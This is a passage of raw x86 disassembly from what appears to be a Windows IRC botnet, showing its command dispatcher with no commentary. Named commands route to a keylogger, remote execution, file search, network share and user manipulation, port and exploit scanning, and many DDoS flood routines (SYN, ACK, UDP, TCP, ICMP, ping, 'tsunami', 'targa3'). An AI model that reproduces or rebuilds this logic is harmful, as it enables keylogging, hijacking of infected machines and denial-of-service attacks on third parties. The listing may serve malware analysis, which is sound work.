		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412660
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_405D82


loc_405D6C:				; CODE XREF: sub_401ACD+42B3j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_405D6C
; ---------------------------------------------------------------------------


loc_405D82:				; CODE XREF: sub_401ACD+429Dj
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_42B0E4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405D93:				; CODE XREF: sub_401ACD+41D4j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	21h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC3
		push	eax
		push	offset unk_42B0A4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405DC3:				; CODE XREF: sub_401ACD+42E9j
		push	offset unk_42B074
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405DCD:				; CODE XREF: sub_401ACD+41BDj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA2
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E68
		push	2
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405E0B
		push	offset dword_42B04C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405E0B:				; CODE XREF: sub_401ACD+4332j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B020
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	loc_40828B
		call	near ptr 2670859h
		nop
		push	eax
		push	offset dword_42AFEC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405E68:				; CODE XREF: sub_401ACD+4326j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	2
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E98
		push	eax
		push	offset dword_42AFB4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405E98:				; CODE XREF: sub_401ACD+43BEj
		push	offset dword_42AF94
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405EA2:				; CODE XREF: sub_401ACD+430Fj
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40601F
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	23h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0E
		push	eax
		push	offset dword_42AF48
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405F0E:				; CODE XREF: sub_401ACD+4434j
		push	offset dword_42AF1C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405F18:				; CODE XREF: sub_401ACD+4400j
					; sub_401ACD+440Fj
		push	23h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405F2E
		push	offset dword_42AEFC
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405F2E:				; CODE XREF: sub_401ACD+4455j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5B
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F64
; ---------------------------------------------------------------------------


loc_405F5B:				; CODE XREF: sub_401ACD+4480j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax


loc_405F64:				; CODE XREF: sub_401ACD+448Cj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8B
		mov	esi, offset aF_0 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8B
		mov	esi, [ebp+var_88]


loc_405F8B:				; CODE XREF: sub_401ACD+44A0j
					; sub_401ACD+44B6j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AED8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset dword_411CF4
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40600E


loc_405FF8:				; CODE XREF: sub_401ACD+453Fj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_405FF8
; ---------------------------------------------------------------------------


loc_40600E:				; CODE XREF: sub_401ACD+4529j
		nop
		call	near ptr 2670859h
		push	eax
		push	offset dword_42AE9C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40601F:				; CODE XREF: sub_401ACD+43E4j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40626F
		cmp	dword_4CB044, ebx
		jz	short loc_40604E
		cmp	dword_4CB06C, ebx
		jz	short loc_40604E
		push	offset unk_42AE60
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40604E:				; CODE XREF: sub_401ACD+456Dj
					; sub_401ACD+4575j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406073
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_406073:				; CODE XREF: sub_401ACD+4596j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C0
		cmp	edi, ebx
		jz	short loc_406094
		push	[ebp+arg_0]
		push	3
		jmp	loc_406126
; ---------------------------------------------------------------------------


loc_406094:				; CODE XREF: sub_401ACD+45BBj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B6
		push	offset unk_42AE34
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_4060B6:				; CODE XREF: sub_401ACD+45DDj
		push	offset unk_42AE14
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_4060C0:				; CODE XREF: sub_401ACD+45B7j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DA
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_4060DA:				; CODE XREF: sub_401ACD+4604j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F4
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_4060F4:				; CODE XREF: sub_401ACD+461Ej
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_40610E:				; CODE XREF: sub_401ACD+4638j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406138
		push	[ebp+arg_0]
		push	1


loc_406126:				; CODE XREF: sub_401ACD+45C2j
					; sub_401ACD+460Bj ...
		call	sub_4186C1
		pop	ecx
		pop	ecx


loc_40612D:				; CODE XREF: sub_401ACD+46A1j
					; sub_401ACD+4729j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_406138:				; CODE XREF: sub_401ACD+4652j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619D
		cmp	edi, ebx
		jz	short loc_406170
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615D
		push	ebx
		push	edi
		push	1
		jmp	short loc_406166
; ---------------------------------------------------------------------------


loc_40615D:				; CODE XREF: sub_401ACD+4688j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx


loc_406166:				; CODE XREF: sub_401ACD+468Ej
		call	sub_418A98
		add	esp, 0Ch
		jmp	short loc_40612D
; ---------------------------------------------------------------------------


loc_406170:				; CODE XREF: sub_401ACD+4680j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8E
		add	esp, 10h
		test	eax, eax
		jz	short loc_406193
		push	offset unk_42ADCC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406193:				; CODE XREF: sub_401ACD+46BAj
		push	offset unk_42ADAC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40619D:				; CODE XREF: sub_401ACD+467Cj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406228
		cmp	edi, ebx
		jz	short loc_4061FB
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CE
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061CE:				; CODE XREF: sub_401ACD+46EDj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EA
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061EA:				; CODE XREF: sub_401ACD+4716j
		push	ebx
		push	edi
		push	2


loc_4061EE:				; CODE XREF: sub_401ACD+46FFj
					; sub_401ACD+471Bj
		call	sub_418DAF
		add	esp, 18h
		jmp	loc_40612D
; ---------------------------------------------------------------------------


loc_4061FB:				; CODE XREF: sub_401ACD+46E5j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192DF
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621E
		push	offset unk_42AD84
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40621E:				; CODE XREF: sub_401ACD+4745j
		push	offset unk_42AD64
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406228:				; CODE XREF: sub_401ACD+46E1j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406265
		cmp	edi, ebx
		jz	short loc_40625B
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419593
		add	esp, 10h
		jmp	loc_40612D
; ---------------------------------------------------------------------------


loc_40625B:				; CODE XREF: sub_401ACD+4770j
		push	offset unk_42AD38
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406265:				; CODE XREF: sub_401ACD+476Cj
		push	offset unk_42AD1C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40626F:				; CODE XREF: sub_401ACD+4561j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09


loc_4062C3:				; CODE XREF: sub_401ACD+3CBDj
					; sub_401ACD+3CECj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset dword_42B500
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aJpDe100	; "jp]de100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D6
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F6
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset word_4146CE
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4067C5


loc_4067AF:				; CODE XREF: sub_401ACD+4CF6j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 2660F23h
		nop
		jmp	short loc_4067AF
; ---------------------------------------------------------------------------


loc_4067C5:				; CODE XREF: sub_401ACD+4CE0j
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_42AB8C
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_4067D6:				; CODE XREF: sub_401ACD+4C36j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406903
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42AB44
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset word_413626
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4068F2


loc_4068DC:				; CODE XREF: sub_401ACD+4E23j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 2660F23h
		nop
		jmp	short loc_4068DC
; ---------------------------------------------------------------------------


loc_4068F2:				; CODE XREF: sub_401ACD+4E0Dj
		nop
		call	near ptr 2670859h
		push	eax
		push	offset dword_42AB08
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_406903:				; CODE XREF: sub_401ACD+4D48j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D16
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
		push	eax
